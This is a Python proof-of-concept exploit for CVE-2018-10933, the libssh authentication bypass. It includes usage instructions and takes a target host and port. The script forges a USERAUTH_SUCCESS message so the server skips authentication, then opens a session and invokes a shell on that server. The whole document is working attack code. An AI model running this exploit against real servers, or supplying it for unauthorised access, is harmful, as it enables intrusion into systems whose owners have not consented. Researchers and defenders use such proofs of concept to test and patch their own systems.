CVE-2018-10933

cve-2018-10933.py

#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC
import paramiko
import socket
import sys

nbytes = 4096

if len(sys.argv) < 2:
  print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>")
  exit(1)
elif len(sys.argv) < 3:
    port = 2222
else:
    port = int(sys.argv[2])

hostname = sys.argv[1]

skt = socket.socket()
try:
    skt.connect((hostname, port))
    msg = paramiko.message.Message()
    transport = paramiko.transport.Transport(skt)
    transport.start_client()

    msg.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
    transport._send_message(msg)

    cmd_channel = transport.open_session()
    cmd_channel.invoke_shell()
except socket.error:
    print('[-] Connecting to host failed. Please check the specified host and port.')
    sys.exit(1)
except Exception as e:
    print(e)
    sys.exit(1)